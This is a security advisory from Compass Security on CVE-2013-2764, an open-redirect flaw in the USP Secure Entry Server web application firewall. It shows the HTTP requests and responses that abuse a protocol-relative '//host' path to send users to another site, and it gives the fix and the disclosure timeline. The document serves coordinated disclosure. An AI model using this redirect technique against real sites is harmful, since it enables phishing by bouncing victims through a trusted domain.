############################################################# # # COMPASS SECURITY ADVISORY # http://www.csnc.ch/en/downloads/advisories.html # ############################################################# # # Product: Secure Entry Server (SES) # Vendor: United Security Providers Ltd. # CSNC ID: CSNC-2013-008 # CVD ID: CVE-2013-2764 # Subject: URL Redirection # Risk: High # Effect: Remotely exploitable # Author: Alexandre Herzog <alexandre.herzog@csnc.ch> # Date: 18.12.2013 # ############################################################# Introduction: ------------- The USP Secure Entry Server™ protects company networks and business transactions with internet access as a Web application firewall (WAF) and manages access to data and applications. The USP Secure Entry Server™ (SES) offers this protection by scanning data packages right down to the individual items of content, thus reliably safeguarding Web applications and all transactions carried out using them. The SES acts as an x-ray scanner for online transactions; it identifies data packages infected by viruses and only approves undamaged or cleaned data packages for use.[1] Technical Description --------------------- By default, the USP Secure Entry Server is shipped with option HSP_AbsoluteRedirects set to off. The consequence is that after a successful cookie-check, the server replies with a relative instead of an absolute link. The server doesn't detect that relative URLs starting with double slash are in fact detected as a valid domain by browsers and not just a path on the actual server. 1. Initial request GET //www.hacking-lab.com HTTP/1.1 Host: [victim] User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:19.0) Gecko/20100101 Firefox/19.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive 2. Server redirect to the cookie check procedure HTTP/1.1 302 Found Date: Wed, 03 Apr 2013 09:23:56 GMT Server: server Location: /cookie-check?trg=[long token] Set-Cookie: SCDID_S=[session id] path=/; Secure; HttpOnly Content-Length: 290 Content-Type: text/html; charset=iso-8859-1 Keep-Alive: timeout=65, max=100 Connection: Keep-Alive <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="/cookie-check?trg=[long token]">here</a>.</p> </body></html> 3. As instructed, the browser accesses the cookie check page, proving it support cookies: GET /cookie-check?trg=[long token] HTTP/1.1 Host: [victim] User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:19.0) Gecko/20100101 Firefox/19.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: SCDID_S=[session id] Connection: keep-alive 4. SES gets the expected request, and redirects the client to the initially requested page, but without stripping the double-slashes and without forcing a fully qualified domain name for the redirection: HTTP/1.1 302 Found Date: Wed, 03 Apr 2013 09:23:56 GMT Server: server Location: //www.hacking-lab.com Content-Length: 205 Content-Type: text/html; charset=iso-8859-1 Keep-Alive: timeout=65, max=100 Connection: Keep-Alive <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="//www.hacking-lab.com">here</a>.</p> </body></html> 5. The browser doesn't interpret a redirection to //www.hacking-lab.com as being http(s)://[victim]//www.hacking-lab.com, but in fact as a redirection to http(s)://www.hacking-lab.com. This behavior is RFC conform and is well implemented in most current browsers[2]. The client gets therefore redirected to another website by the SES. Workaround / Fix: ----------------- Upgrade to the latest available version of SES or ensure option HSP_AbsoluteRedirects is set to on (as it's by default in the appliance but not the software version), as this would insert the FQDN in the response of the server. Timeline: --------- 2013-12-18: Coordinated public disclosure date (after 3 months grace period) 2013-09-18: Release of fixed SES Appliance Version 4.7.0 and HSP Software Version 4.5.0 2013-04-26: Initial vendor response 2013-04-23: Initial formal vendor notification based on advisory and CVE-ID 2013-04-07: Assigned CVE-2013-2764 2013-04-03: Discovery of the same issue but with a different customer 2012-09-10: Discussed with a representative of the vendor, which did not consider it as a major issue but customer related 2012-09-06: Discovery by Alexandre Herzog References: ----------- [1] http://www.united-security-providers.com/en/it-security-solutions/protection-for-web-applications/ [2] http://stackoverflow.com/questions/6785442/browser-support-for-urls-beginning-with-double-slash